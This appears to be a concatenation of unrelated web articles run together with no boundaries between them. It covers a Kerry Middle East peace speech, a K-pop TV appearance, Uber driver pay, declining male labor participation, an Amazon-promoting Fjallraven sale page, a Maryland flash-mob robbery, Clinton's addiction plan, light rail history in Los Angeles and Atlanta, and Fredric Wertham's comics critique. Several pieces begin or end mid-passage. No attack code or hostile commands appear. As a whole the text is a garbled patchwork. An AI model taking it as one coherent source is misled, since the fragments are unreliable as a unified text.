“I have heard all the arguments against working for Middle East peace. It is famously reputed to be diplomatic quicksand,” he said. “There is huge cynicism about this journey... but cynicism has never built anything, certainly not a state.”
At one point, he directly challenged the Palestinian and Israeli leaders, saying he hoped Netanyahu and Abbas “don’t allow this conflict to outlast their administrations.
“Negotiations can’t succeed if you don’t negotiate.”
He began his speech on a lighter note.
“I have an agreement right here if you want to sign it,” Kerry joked with Abbas and Peres, who were both in the audience. “We’ll get there. We’ll get there.”During filming for the January 18th broadcast of KBS 2TV's 'Yoo Hee Yeol's Sketchbook', Girls' Generation got the crowd going with their performance of "I Got A Boy". The members also opened up about their personal life during the interview segment.
The group played a bingo game with their fans and gave their honest answers to host Yoo Hee Yeol's questions. The staff commented, "Watching Girls' Generation answering the somewhat intrusive questions honestly and happily left an impression."
When asked if they were "crazy" lonely, Taeyeon honestly replied, "Yes," surprising everyone on set. Taeyeon shared, "After my schedule is finished and I return home, I feel lonely and empty inside, and I don't know what to do about it," revealing a side to her that many fans don't see often.
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lumps those professions together, which makes for a reasonably fair comparison to Uber’s grouping of commercially licensed Uber Black drivers—a premium service—and lower-paid UberX drivers.)
Uber
These numbers are impressive, but Uber acknowledges that its driver-partners “are not reimbursed for driving expenses, such as gasoline, depreciation, or insurance, while employed drivers covered by the OES [Occupational Employment Statistics] data may not have to cover those costs.” So how much do these drivers really make, including expenses? It’s still hard to say. Uber told finance writer Felix Salmon that fuel, gas, maintenance, depreciation, and insurance would add about $15,000 per year in New York City.
That works out to about $7.20 per hour (assuming a 40-hour work week), which would still leave New York Uber drivers ahead, but would seriously cut into Uber’s advantage across the board if costs in other cities are similar. It should also be noted that cab drivers likely share in many of those expenses. But cab drivers may not have to pay for their own vehicle, which drives Uber’s average net hourly wages even lower.
So while it seems like an Uber driver’s salary is at least on par with that of a normal cab driver, and potentially more, since that data was released, fare cuts in many cities have slashed driver earnings below minimum wage.
“Fares have been cut by as much as 45% in some cities, and while Uber is guaranteeing this will actually lead to larger earnings for drivers, the opposite has already proven to be true—drivers are reporting they’re making as little as $2.89 per hour,” the Observer reported.
Uber contends that lower fares encourage more people to use the app, meaning more business for drivers. Of course, that’s yet to be the case, hence the boycotts, lawsuits, and so on.
What kind of jobs is Uber providing?
In 2015 the vast majority of Uber drivers—78%—said they were satisfied working for the company. The data also showed that many drivers see the ride-sharing service as a stopgap measure until they find a better job. According to the survey, 32% of drivers said the major reason for partnering with Uber was “to earn money while looking for a steady, full-time job.”
Read next: Uber CEO: We’ll Create 50,000 Jobs in Europe This Year
That makes sense considering nearly half of Uber’s drivers have a college degree or higher, well above the 18% of taxi drivers with similar credentials. Indeed, slightly more than half of Uber drivers became inactive one year after joining the service, suggesting they quit or found other work.
Fast-forward one year later, and more than 60% of Uber drivers said they were thinking about quitting; 18% of drivers had already quit because of fare cuts.
The numbers demonstrate how Uber isn’t providing a career as much as an income supplement or temporary gig: Just 24% of Uber drivers say the company is their only source of personal income, and another 16% say Uber is their largest source of income but not the only one. Meanwhile, nearly 40% of drivers said Uber did not make up a significant source of their wages.
Stunning growth
Ultimately, it’s up to drivers to choose whether Uber makes sense for them. In the United States, Uber says, more than 160,000 drivers had partnered with the company by the end of 2014, and almost 40,000 new U.S. drivers provided their first trips in December of last year. As these cases continue to make their way through the courts, and more data is released, prospective drivers will have more information than ever when making their decision.1) Are they in school?
This would be one of the most benign—or even hopeful—reasons for the drop in male participation. Alas, it doesn’t seem to explain much.
Since 1990, the number of men over the age of 25 enrolled in a post-secondary institution has increased slightly, from 2.5 million to about 3 million, most of which was an increase among people enrolled part-time. Overall, a jump of 500,000 accounts for just a fraction of the growth of non-working men. (If the male participation rate hadn’t changed since 1990, there would be about 3 million more men in the labor force.)
The men most likely to drop out of the labor force today are those who never started college. This is a remarkable shift. Fifty years ago, college graduates and high-school dropouts were similarly likely to work, as one can see in the graph below. Today a high-school graduate who has never gone to college is four times more likely to drop out of the labor force than he was in 1964.
Men between 25 and 54 are much better educated than they were in 1964. That fact alone should have predicted a rising participation rate, since college graduates are more likely to work. Instead, the least educated men are abandoning the work force more than ever. That is the real mystery.
2) Are they on disability?
This is another common explanation for the drop in male participation. But again it doesn’t explain more than a fraction of the phenomenon.
There’s not much doubt that Social Security Disability Insurance takes people out of the workforce, often by inelegant design. In order to qualify for disability payments, people typically have to prove that they cannot work full-time. SSDI critics say this policy sidelines many people who might otherwise be able to contribute to the economy.
But how many people does SSDI really remove? From 1967 to 2014, the share of prime-age men getting disability insurance rose from 1 percent to 3 percent. There is little chance that this increase is entirely the result of several million fraudulent attempts to get money without working. But even if it were, SSDI would still only explain about one-quarter of the decline in the male participation rate over that time. There are many good reasons to reform disability insurance. But it’s not the singular driving force behind the decline of working men.
3) Do stay-at-home dads account for the change?
This is an easy one: no.
First, married men are more likely to work than non-married men. Second, fathers have stayed in the workforce more than non-fathers. Third, more than 75 percent of prime-age men not in the workforce do not have a working spouse. Fourth, time-use surveys of non-working men have found that they are less likely to be caring for household members than working men. They do, however, watch more than twice as much television.Who likes spending any more money than they have to? I know that I sure don’t, and if you’re here reading this page, I feel pretty confident that you don’t either.
Over the past few months we’ve seen an increase in the number of people coming to SwedishBackpack.com looking for Fjallraven sale or promo news. Although we don’t sell any of the products here, we enjoy helping other Fjallraven enthusiasts find reliable information about the brand … and sometimes that means sharing where to find Fjallraven on sale whenever there is a good deal.
First things first, you’re rarely going to find a Fjallraven bag sale at the brick and mortar establishments that carry the products. One of the biggest reasons why is because there is already such high demand for items like the Fjallraven Kanken bag. These stores are already selling plenty, so why would they feel compelled to offer a discount?
The answer is, they don’t.
Looking for Fjallraven Sale Prices Online
To find real Fjallraven sale prices, you’re almost always going to have to search online. But not just anywhere – not all online retailers are created equal. Some provide much more competitive prices than others, while a few less trustworthy sites are even selling counterfeit Fjallraven products and trying to pass them along as the real thing.
If you see a website that you’ve never heard of before offering a ‘Fjallraven Kanken backpack sale’ at prices that seem way too good to be true, you should definitely use a little extra caution before making a purchase. As a general rule of thumb, the best Fjallraven sales are going to be on reliable high-volume websites like Amazon.
Buying Sale Fjallraven on Amazon
Amazon has a number of great things going for it when it comes to offering Fjallraven on sale. First off, the website is so huge (there isn’t a larger online retailer anywhere) that they can get great volume discounts from the manufacturers. This savings is then passed on to the customer in the form of Fjallraven sale prices much lower than you’ll find at a brick and mortar location – and certainly less than the suggested retail value.
Secondly, Amazon has one of the largest selections of Fjallraven products – including dozens of colors of the Fjallraven Kanken bag – in the world. Sure, one or two stores in your local mall may have a few Kankens available, but you won’t find anywhere near the selection that you can get online.
Finally (although by no means the last reason why shopping for Fjallraven sales on Amazon makes sense), Amazon has been repeatedly recognized for their industry-leading customer service. If you’ve ever had to deal with an Amazon customer associate, you probably know what I’m talking about. I’ve never had a bad experience, and any issues have always been resolved promptly with very favorable outcomes.
Warning Signs to Look Out For!!
Like I mentioned before, the number one thing to be careful of when shopping for Fjallraven sales online is dishonest sellers. That’s not to say that all small retailers are bad – because that’s far from the truth – but there are definitely some bad apples out there. And I don’t know about you, but when it comes to me spending my money, I would rather be safe than sorry.
Before you jump all over the first link offering Fjallraven on sale at too-good-to-be-true prices, here are some things to watch out for:
No Sales History – does a Google search turn of plenty of reports from satisfied customers? If not, is this just a fly-by-night website that will be gone in a few weeks, leaving you with a knock-off Fjallraven product? Not even the best Fjallraven sale is worth this risk.
Ridiculous Shipping Charges – Amazon offers free shipping on most purchases, with a 2-day options available in many cases at no extra charge. If a website is trying to charge $15-$20+ for shipping a Fjallraven Kanken rucksack, they may be trying to rip customers off.
Extreme Delivery Time – If you ever see an online retailer estimating that shipping could take 2-3 weeks, proceed with caution. Sometimes on small websites this means that the retailer is waiting to sell enough of the items in order to purchase them wholesale from their supplier. In some cases the estimated delivery could wind up taking much longer, or the goods (and your money) may never show up at all.
Way Too Low Prices – You can easily find good Fjallraven sale prices by searching on reliable websites like Amazon, but if a website’s prices look too low to be legitimate, there may very well be something fishy going on. In this case, make sure to pay extra attention to past customer feedback.
Other Places to Find Fjallraven Sale Prices
There’s no two questions about it – Amazon is by far the best place to find reasonably-priced, new Fjallraven products online.
But one of the most desirable things about Fjallraven bags – especially the Kanken backpack – is how well they age. While a brand new Kanken exudes style and top-notch craftsmanship, it’s hard to compete with a well-worn vintage bag.
In bigger metropolitan areas, many of our readers have reported finding tremendous deals on gently-used Fjallraven items at smaller upscale resale boutiques. The feasibility of this option will positively vary from reader to reader, however, as those of you in smaller cities and towns may not have much luck searching out preowned Fjallravens.
Fjallraven Sale – Final Thoughts
At the end of the day, you’re probably going to be much better of shopping from a reliable retailer who is known for offering Fjallraven items at great prices, rather than spending hours searching for a sale from a small, unknown website. Not only are websites like Amazon able to offer authentic brand-new Fjallraven products at prices likely to be competitive with even the best legitimate sale, but they can also give you the peace of mind in knowing that you’re shopping with a trusted retailer who will be there with stellar customer support in the event you have an issue.
Is it worth the risk to save a few dollars from a site you’ve never heard of before? Probably not. Luckily though, with Amazon’s consistently low prices you won’t even have to think about it.A weekend flash mob robbery at a Germantown, Md., 7-Eleven prompted the Montgomery County police chief to call again for a teen curfew.
At least two dozen teens and young adults were caught on surveillance video Saturday grabbing items from store shelves and walking out without paying. The clerk said he felt helpless against them.
“They basically took over that store for the minute they were in there,” Chief Thomas Manger said.
Some suspects have been identified, and each is a juvenile.
Flash Mob Robbery
Darcy Spencer reports on a convenience store robbery disguised as a flash mob in Germantown. (Published Monday, Aug. 15, 2011)
“If we had a curfew law in effect, this incident could have been prevented,” Manger said.
Last month, the Montgomery County Council proposed a curfew that would require children under the age of 18 to be home by 11 p.m. on weeknights and midnight on weekends. It would operate like laws already enforced in D.C. and Prince George’s County.
“If a police officer sees 30 kids walking down the sidewalk and they all look pretty young – and these kids were young – we go out and say, ‘How old are you? You’re 17. You need to go home,’” Manger said.
“The county can use a curfew and bring it up every time that something happens, saying the curfew could have prevented this, but the likelihood is no, it wouldn’t have,” said Dan Reed, who blogs about Montgomery County. “I think there are a lot of proactive things we can do to engage young people and find out why destructive behaviors happen, but I think a curfew is a reactive policy and it doesn’t really do anything to deal with the issue of why teens are doing this and it doesn’t do anything to solve crime, either.”
A county council committee will review the proposed curfew in September.
Meanwhile, police and the state’s attorney are deciding what to do with the flash mob robbery suspects they apprehend.
“A lot of folks might thing, Well, this is very easy,” Manger said. “I mean, they went in there, they stole things, just charge them with theft. Well, there’s actually complicating factors there, as well. I mean, we can’t determine from the video exactly what they stole. I mean, part of the prosecution is to determine what exactly was stolen, the value of what was stolen. So all of these things we’ve got to consider.”Each year, tens of thousands Americans die due to problems related to drug and alcohol abuse. Hillary Clinton has a plan to change that — not by escalating the war on drugs, but by rolling it back and directing funds away from mass incarceration and toward treating addiction as a serious medical and public health challenge.
Clinton's $10 billion Initiative to Combat America's Deadly Epidemic of Drug and Alcohol Addiction is the most ambitious attempt of any presidential candidate to tackle America's struggles with drug abuse. It's an approach that public health and drug policy experts have demanded for years. But Clinton is the first candidate to dedicate such a large sum of money to the cause — and if approved by Congress, it could help combat what some public health officials and experts have called a drug overdose epidemic.
What Hillary Clinton's anti-drug plan does
The big idea behind Clinton's plan is to shift public policy on drug abuse and addiction from the criminal justice system to the health-care system. It would also help fill a big gap in health care: Nearly 90 percent of people who have a drug or alcohol abuse problem don't get treatment, according to federal data.
"Plain and simple, drug and alcohol addiction is a disease, not a moral failing — and we must treat it as such," Clinton wrote in an op-ed for the New Hampshire Union Leader. "It's time we recognize that there are gaps in our health-care system that allow too many to go without care — and invest in treatment. It's time we recognize that our state and federal prisons, where 65 percent of inmates meet medical criteria for substance use disorders, are no substitute for proper treatment — and reform our criminal justice system."
A federal grant program to help states fight addiction
The plan would establish $7.5 billion in federal funds to encourage states to set up their own plans to fight drug abuse and addiction. States would have to show how they will work with local governments and other stakeholders, according to Clinton. For every $1 they commit to their plans, they can receive up to $4 in federal funds.
Clinton outlines several ways states could receive these federal funds:
Set up programs that can prevent teen drug abuse, such as school programs, after-school activities, peer and mentorship programs, and community service.
Identify and fill treatment gaps in communities — potentially through greater funding for hospitals and community health centers, stronger enforcement of insurance parity laws so health plans cover treatments for substance abuse, or streamlining licensing so different health-care providers can more easily treat drug and alcohol addiction.
Give first responders access to naloxone, which reverses heroin, prescription painkiller, and other opioid overdoses that can be fatal.
Require better training and monitoring of drug prescribers to ensure opioid painkillers are being given out to patients who actually need them and aren't at a serious risk for addiction.
Reform the criminal justice system to put addicts in treatment programs instead of in jails and prisons. For places that already have specialized courts and drug courts that focus on treatment instead of incarceration, encourage further reforms — such as allowing medication-based treatments like methadone and Suboxone, which can stop opioid withdrawal.
An array of new federal actions on addiction
On a federal level, Clinton's plan would offer several other initiatives:
A $2.5 billion increase in federal grants for substance abuse prevention and treatment
Relaxed standards to let more medical professionals treat their patients for addiction
Greater federal enforcement to ensure health insurers pay for drug abuse treatments
Reform Medicare and Medicaid to remove obstacles to drug abuse treatments, and establish better guidelines for opioid prescribers through Medicare and the Veterans Administration
Direct the attorney general to prioritize treatment over incarceration for nonviolent and low-level drug offenders — as part of a broader push encouraging federal and state governments to end mass incarceration
Experts are excited about the money, worried about the federalism
Keith Humphreys, a drug policy expert at Stanford University, said the most promising part of Clinton's plan is how large it is — with an annual price tag of $1 billion. Humphreys compared it with other programs, such as the $2.5 million the White House set out to fight heroin abuse and the additional $133 million the Department of Health and Human Services proposed to fighting opioid abuse earlier this year. "So just the fact it has the b-word — billion — says to me that Clinton grasps the depth of the problem," Humphreys said. "This is not a small problem, and it's not going to go away."
The most promising proposal in Clinton's plan, Humphreys said, may be increased enforcement of existing laws and regulations that require insurers to pay for drug abuse treatments. In health care, roughly half of spending comes from private, not public, sources. But it's likely that many private health plans currently refuse to pay for drug abuse treatments even when it's required by law.
Humphreys cited New York, where the state attorney has forced insurers into big payouts after they were caught for pretty egregious violations.
"the fact it has the b-word — billion — says to me that Clinton grasps the depth of the problem"
"That particular state office got interested in it. California is interested in it. But most of the states aren't," Humphreys said. "So there's other noncompliance going on across the country. And the federal government can do that way better than states can — they have the resources to do it, and they can get a national covenant agreement rather than state by state."
Still, the plan suffers from one big flaw: It requires a lot of state cooperation.
Although the $7.5 billion will provide a strong financial incentive for a lot of states, there have been cases in the past — such as the Medicaid expansion — in which state governments have refused money out of political and ideological objections. It's possible that some states, already skeptical of more federal intervention in their politics and policies, will refuse the federal funds and not act at all.
But the states that do participate will greatly benefit. And they'll help address one of the biggest public health crises of the past few years: a sharp rise in heroin and opioid painkiller abuse.
The big driver of the plan: a rise in opioid addiction
Since the late 1990s, the number of people dying from opioid painkiller overdoses has steadily risen — with more than 16,000 deaths reported in 2013. What's worse, one study in JAMA Psychiatry found opioid painkiller use has contributed to the rising use of heroin, which is deadlier and more addictive than painkillers. (A 2015 CDC analysis, for example, found people who are addicted to prescription painkillers are 40 times more likely to be addicted to heroin.)
But these concerning numbers come into conflict with another medical issue: About 100 million US adults suffer from chronic pain, according to a 2011 report from the Institute of Medicine. And although there's no good evidence that opioid painkillers can treat chronic pain, they can help with acute pain and are commonly prescribed for long-term issues.
Clinton's plan could prevent many of these opioid overdose deaths through increased funding for prevention and treatment programs. As states experiment with different treatment approaches, they also could pass on the lessons to other states — and save more lives as a result.
As states experiment with different treatment approaches, they also could pass on the lessons to other states
But perhaps the most direct effect on deaths could be increased access to naloxone, which reverses the effects of an opioid overdose with no significant side effects. For example, if states use the funds to equip police with naloxone, cops could apply the drug quickly — before paramedics can arrive at the scene — and save someone's life.
Parts of Clinton's plan could also prevent opioid abuse altogether by giving doctors better training and tools to know which patients actually need painkillers and which may be likely to abuse them. The federal government has already gone after many lenient prescribers — known as "pill mills" — and Clinton continues that approach. But the crackdown on pill mills has led to a big downside: If painkillers become too difficult to obtain, addicts turn to heroin — a cheaper and more accessible, but more dangerous and illegal, opioid — to satisfy their cravings. If doctors can be trained and given the tools and encouragement to not prescribe so many opioids in the first place, then people won't get addicted, and they won't end up seeking heroin when their other opioids are cut off.
Another issue the plan addresses: tens of thousands of other drug-related deaths
Clinton's plan isn't limited to opioid abuse. It also hopes to address other forms of drug abuse, including alcohol.
Nearly 44,000 people died from drug overdoses in 2013, and about 88,000 die each year from alcohol-caused problems like liver disease and car crashes, according to the Centers for Disease Control and Prevention. In comparison, there were more than 33,000 firearm deaths in 2013, and nearly 34,000 car crash deaths. And more than 41,000 Americans died from AIDS at the height of the HIV/AIDS epidemic in 1995.
Some of the drug and alcohol deaths occur from casual use — someone may drink for the first time in months, decide to drive, and get in a fatal car crash.
But excessive drug use is a cause in many cases. Years of drinking is much more likely to lead to liver damage. Extended cocaine abuse can similarly heighten the risk of heart disease. Long-term heroin users are at greater risk for an overdose — they use more to meet their greater tolerance for the high, but they don't develop as strong of a tolerance for the respiratory effects that lead to an overdose. And so on. It's these types of deaths that Clinton's plan could help prevent by getting people off drugs.
There are other ideas for dealing with drug and alcohol addiction
While Clinton's plan is expansive, it doesn't (and probably couldn't) explicitly mention every idea drug policy experts have been calling for as the country winds down the war on drugs and shifts to other, more health-oriented ways to fight drug abuse.
Here are several big ideas drug policy experts have proposed over the years:
Eliminate collateral consequences: State and federal laws can stop drug offenders from accessing various government programs once they get out of prison, such as public housing, welfare benefits, and student loans. But putting already desperate people in even more desperate circumstances will only make them more likely to use drugs or reoffend. "[Eliminating collateral consequences] helps people who've been in contact with the criminal justice system get away from it," Humphreys said, "so they can get a job, go to school, and live somewhere."
State and federal laws can stop drug offenders from accessing various government programs once they get out of prison, such as public housing, welfare benefits, and student loans. But putting already desperate people in even more desperate circumstances will only make them more likely to use drugs or reoffend. "[Eliminating collateral consequences] helps people who've been in contact with the criminal justice system get away from it," Humphreys said, "so they can get a job, go to school, and live somewhere." 24/7 sobriety programs: These programs punish drug and alcohol abusers with a few days of jail time if they fail a drug or alcohol test in order to deter them from using or drinking. A 2013 study from the RAND Drug Policy Research Center attributed a 12 percent reduction in repeat DUI arrests and a 9 percent reduction in domestic violence arrests at the county level to South Dakota's 24/7 Sobriety Program. And a paper by Angela Hawken and Mark Kleiman found large reductions in positive drug tests and arrests among people in Hawaii's HOPE Probation program.
These programs punish drug and alcohol abusers with a few days of jail time if they fail a drug or alcohol test in order to deter them from using or drinking. A 2013 study from the RAND Drug Policy Research Center attributed a 12 percent reduction in repeat DUI arrests and a 9 percent reduction in domestic violence arrests at the county level to South Dakota's 24/7 Sobriety Program. And a paper by Angela Hawken and Mark Kleiman found large reductions in positive drug tests and arrests among people in Hawaii's HOPE Probation program. A higher alcohol tax: A review of the research from David Roodman, senior adviser for the Open Philanthropy Project, found that a higher alcohol tax saves lives: "A rough rule of thumb is that each 1% increase in alcohol price reduces drinking by 0.5%. Extrapolating from some of the most powerful studies, I estimate an even larger impact on the death rate from alcohol-caused diseases: 1-3% within months. By extension, a 10% price increase would cut the death rate 9-25%. For the US in 2010, this represents 2,000-6,000 averted deaths/year."
A review of the research from David Roodman, senior adviser for the Open Philanthropy Project, found that a higher alcohol tax saves lives: "A rough rule of thumb is that each 1% increase in alcohol price reduces drinking by 0.5%. Extrapolating from some of the most powerful studies, I estimate an even larger impact on the death rate from alcohol-caused diseases: 1-3% within months. By extension, a 10% price increase would cut the death rate 9-25%. For the US in 2010, this represents 2,000-6,000 averted deaths/year." A state monopoly on alcohol sales: An April 2014 report from RAND suggested that state governments could monopolize sales of alcohol through state-run shops, finding that states that did this kept prices higher, reduced access to youth, and reduced overall levels of use.
The plan also doesn't appear to address the deadliest drug in the US: tobacco, which when smoked kills 480,000 people each year, according to the CDC. There are various ideas to deal with this problem, including education campaigns, mandatory warning labels, public and workplace smoking bans, higher taxes on tobacco products, and increasing the smoking age. (Although, traditionally, these anti-tobacco policies aren't lumped in with anti-drug plans.)
Clinton's plan could cover some of these ideas if states are allowed to leverage federal funding in creative ways not outlined in the plan. But none of these other proposals appear to be an explicit focus — and some, like the alcohol tax and state monopolies on alcohol sales, will very likely require entirely different legislation.
Still, the plan is more than other presidential candidates and past administrations have called for. At the very least, it's a big start.In a recent study examining the efficacy of light rail (LRT) and modern bus rapid transit (BRT), University of Sydney transit experts David Hensher and Corinne Mulley concluded that the preference for light rail over BRT and other bus systems rested on an ideological preference more than actual service. “The main point is that the enthusiasm (almost blind commitment) for LRT has caused many to overlook the potential for more cost-effective bus-based systems and even simpler improvements to bus services that do not require dedicated right of way,” the two researchers noted. Hensher later told CityLab writer Eric Jaffe, apparently paraphrasing a former Mayor Los Angeles, to the public “buses are boring and trains are sexy.”[1]
While transit service and perceptions of such service matter, 21st century light rail construction has occupied a central place in urban economic development and housing policies. In Los Angeles, LRT and subway construction have become central aspects of urban planning strategies in places like Boyle Heights, Hollywood, and Exposition Park. Likewise, in Atlanta, the proposed BeltLine project depends heavily on the construction of light rail as a means to create a 22 mile loop of transit, parks, and bike paths connecting nearly four dozen neighborhoods in the city with the distinct hope of raising property values and increasing tax revenues.
Ironically, Atlanta’s construction and financing of its own subway and bus systems in the 1970s inspired Los Angeles to embark on its own journey in the 1980s, yet in 2012 Los Angeles has several LRT lines, an expanding subway, and a successful BRT, including one of the nation’s most used LRT routes, the Blue Line, while Atlanta remains devoid of light rail and its subway receives more attention for what it doesn’t do than what it does. How did such a situation come about? What does it tell us about the two cities and what does it mean for the construction of LRT in the future?
Los Angeles: Looking to the New South
By the late 1970s and early 1980s, “Kenneth Hahn had been a fixture of Los Angeles politics” for decades, elected to city council at age 26 and the county board of supervisors at 32, notes dually appointed University of California and University of California Los Angeles transit and legal scholar Ethan Elkind.[2] Hahn remembered a Los Angeles defined as much by an interurban transit system, embodied by the Pacific Electric Red Cars and the Yellow Cars of the Los Angeles Railway, as freeways and automobiles. To be fair, Hahn’s recollection of the Red and Yellow Car lines might have been more than a touch too celebratory. After all, both systems struggled mightily in the mid-1940s and continued to do so before their ultimate demise in 1961. Still, he and others often cited the interurban system when championing the return of mass transit to the city in the 1970s, 80s, and 90s. Though Los Angeles Mayor Tom Bradley advocated for a mass transit system as well, he believed a heavy rail subway would better serve the city’s transportation interests.
Unfortunately, attempts to fund rail transit in L.A. during the 1960s and 1970s met with frequent defeat. Tax initiatives aimed at funding construction went down in flames in 1968, 1974, and 1976. As Elkind pointed out in a recent interview, Bradley’s dream of a Los Angeles subway struggled to become a reality as much because of timing as anything else. Bradley believed a San Francisco styled BART or D.C. modeled Metro would link downtown with growing job centers in the region. Though he advocated for rail transit in the 1970s, “not until the 1980s did the politics work for him locally,” but by then the federal government, led by former California Governor Ronald Reagan—a long time transit skeptic—provided less financial support. In essence, noted Elkind, Bradley simply “missed his window.”[3] To be fair, even before Reagan, former Georgia governor Jimmy Carter also began to doubt the efficacy of rail transit, but more on that later.
Other mayors and cities did take advantage of the moment. Atlanta, for example, found a measure of success, and many would argue failure, in its attempts to construct its own subway system known as the Metropolitan Atlanta Rapid Transit Authority (MARTA). In 1965, the Georgia General Assembly voted to create MARTA and even approved an amendment that dedicated state monies to 10 percent of the system’s total construction cost. At the time of the legislation’s passage Jimmy Carter was a simple assemblyman but when he ascended to the Governor’s office in 1971, he would eventually renege on this commitment. Nonetheless, initially the state had promised this funding. While pro-rail officials envisioned a rapid rail transit system that connected the city of Atlanta with the surrounding Cobb, Clayton, Colb, DeKalb, Fulton, and Gwinnett counties, by 1971, only DeKalb, Fulton, and Atlanta continued to support MARTA’s construction.[4]
Initially, officials had hoped that voters would approve a percentage of property tax revenue to fund MARTA but the electorate rejected that plan in 1968. Three years later, the flamboyant mayor, Sam Massell, marshaled a public relations campaign only possible in the New South that rallied support for a local option sales tax to fund the proposed system. Once the Georgia legislature approved the option, Massey literally buried a hatchet on the front lawn as a symbol of his appreciation and later sent a “bevy of young women in pink shorts” to the state capitol with fried chicken, peanuts, and Coca-Cola as a gesture of goodwill toward the reliably anti-Atlanta state assembly for approving the only local option sales tax in Georgia.[5] Voters in Fulton and DeKalb counties and the city of Atlanta approved the initiative.
Massell quickly scooped up an existing bus company and promised to lower fares to from $1.30 to $.15, eventually settling on $.30 for a round trip fare. Still, this apparent victory came with a couple caveats. MARTA wouldn’t reach most of Atlanta’s suburbs. Moreover, arch segregationist Governor Lester Maddox forced Massell to accept an ultimatum. No more than 50 percent of the revenue produced by the approved sales tax could be dedicated to MARTA operating costs, which in practice meant that when the system needed more money to address maintenance and other operation issues, it would have to cut costs elsewhere or increase fares. The $2.50 fare that MARTA sports today stands in part as result of Maddox’s decision.
Why did Maddox impose such parameters on MARTA? As Doug Monroe pointed out in an excellent 2012 piece for Atlanta Magazine, the no votes in 1965 and 1971 by Cobb, Clayton, and Gwinnett counties along with Maddox’s ultimatum had little to do with transit: “They were referendums on race.” Princeton historian Kevin Kruse added that the region’s transportation system had been designed “as much to keep people apart as to bring people together.”[6]
In predictable fashion, whites decamped for suburbs, rejected transit, and threw their political and economic weight behind highway construction. As Eric Avila points out, parallel processes unfolded around the nation. Though Los Angeles’s more diverse multiracial and multiethnic mix differed somewhat from Atlanta at the time, the end result proved similar. “The centrifugal thrust of white affluence and enterprise structured the concentration of racial poverty in precincts that gave birth to the modern ghetto and barrio,” writes the UCLA professor in his new book The Folklore of the Freeway. “Freeways helped seal the deal, erecting new barriers that isolated and contained poor people of color.”[7]
As governor of Georgia, Carter had initially supported MARTA, but he developed a deep skepticism regarding mass transit in an era of automobility that began while in office in Georgia and expanded during his presidency. Why fund rail transit in cities that preferred cars, he wondered. “Many rapid transit systems are grossly over designed,” he wrote in a leaked 1977 memo. “We should insist on off-street parking, one way streets, special bus lanes, and surface rail-bus as preferable to subways. In some urban areas, no construction at all would be required.”[8] Carter and his Secretary of Transportation, Brock Adams, expressed wariness toward rapid transit. If in the late 1960s and early 1970s federal funding had been generous, it grew more miserly in the latter half of the decade and into the 1980s. When asked by a 25 year old L.A. bus driver about the environmental impact of so many cars on highways in a 1977 interview for KNXT, Carter responded simply: “You don’t really need the highly expensive subway and rail systems as much as some communities do.” Earlier in the year Adams expressed a similar doubt regarding the idea of a subway along the Wilshire corridor in LA, noting he would have to be “convinc[ed] that rapid transit [would be] feasible” there.[9]
Whatever conclusions one draws from MARTA’s beginnings, Carter’s increasing skepticism regarding rapid transit, and the belief of those like Monroe that the inability to stretch into suburban Atlanta permanently limited the system’s effectiveness, the 1971 “Atlanta Plan” proved deeply influential for Los Angeles’s Kenneth Hahn.
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ade. (Hadju’s book lists some nine hundred artisans who never worked in the comics field again after the moral backlash SOTI created.)
But like Batman’s nemesis Two-Face (an honorable DA turned schizophrenically cruel after a crime boss threw acid in his face), Wertham was a complex and contradictory character, who was after more than notoriety even as he achieved infamy. Born in Nuremberg, he studied medicine and literature in London, Paris, and Vienna, absorbing Marx and the social-reform theories in the novels of Dickens along the way. In 1922 he landed at Johns Hopkins University in Baltimore, where he began a lifelong commitment to civil rights and low-cost psychiatric care for minorities and the poor. By 1946, with help from Paul Robeson and Richard Wright, he had established the Lafargue Clinic, located, as his publisher describes, “in the heart of a slum area in Harlem, the first psychiatric clinic to be opened in that district.” (The author’s photo on the jacket of Seduction—tight-lipped, bespectacled, with severely parted gray hair and pinstriped suit—was taken by the noted African-American photographer Gordon Parks, who would later go on to direct the Blaxploitation classic Shaft.)
Wertham's portrait, by Gordon Parks, on Seduction of the Innocent's book jacket
Wertham’s testimony on the harmful psychological effects of segregation was incorporated into briefs for Brown vs. Board of Education, another major event in 1954’s political landscape. It is therefore no surprise that Wertham writes in Seduction, “While the white people in jungle [comic] books are blond and athletic and shapely, the idea conveyed about the natives is that there are fleeting transitions between apes and humans … this characterization of colored peoples as subhuman, in conjunction with the depiction of forceful heroes as blond Nordic supermen … is the usual parade of invitation to sadistic perversion, race hatred and violence for violence’s sake.” The doctor’s beliefs are clear: Race-hate must never again take root, especially not in the bumptious democracy of his adopted homeland. And when Wertham continues, “We have learned more and more that sexual behavior varies widely and that many patterns which used to be regarded as serious crimes, extremely immoral, or severe abnormalities do not deserve to be so seriously regarded,” it becomes apparent that he isn’t simply the blue-nosed censor of fandom legend.
Wertham’s psychiatric philosophies were leavened with literature—in chapter epigraphs, Bacon and Pavlov rub shoulders with Pushkin, Rilke, and Shakespeare. On my first perusal, Seduction proved as complex as its author. But at closing time, all materials must be returned. In the way of the world, other assignments and life’s pageant intruded, and it was not until two months later that I again requested Seduction, only to be told it was unavailable. Knowing the book’s vulnerability to the collector’s fetish, I contacted the library’s press office and left an inquiry about its fate.
In the meantime, I decided to pursue another touchstone. As a result of Wertham’s earlier articles and other commentators’ alarms, in 1954 a Senate subcommittee began hearings investigating the effect of comic books on juvenile delinquency. On April 21, 22, and June 4, in an implicit stab at the heart of this New York–based industry, the members of the Senate Subcommittee on Juvenile Delinquency brought their televised road show to the federal courthouse in Lower Manhattan. I found the transcript of those hearings tagged in the library’s catalog—but it was held off-site and I was put on another waiting list.
With both books unavailable I next plugged those 1954 Senate-hearing dates into the New York Times archive and crashed right onto the front pages of the Cold War. Above the fold, a headline blares, “McCarthy Charges Plot To Halt Him”; in the lower left corner, less bold and more enigmatic: “No Harm in Horror, Comics Issuer Says.”
The newsprint time machine revealed that Wisconsin senator Joe McCarthy, whose claim to fame was hunting Communists in government, was in a political dogfight with the Army brass. Meanwhile, the smaller headline heralded one of the most famous moments in comic-book history, when a young publisher, William M. Gaines, was confronted by Tennessee Democrat Estes Kefauver at the downtown hearings. Gaines’ father had been a comics pioneer, packaging newspaper strips into some of the earliest pamphlet-size comic books. When his father died, Gaines inherited the staid Educational Comics line, which featured such titles as Picture Stories from the Bible and Picture Stories from American History. Along with his editors, Gaines decided that science-fiction, crime, and horror comics would be more fun—and profitable—to produce.
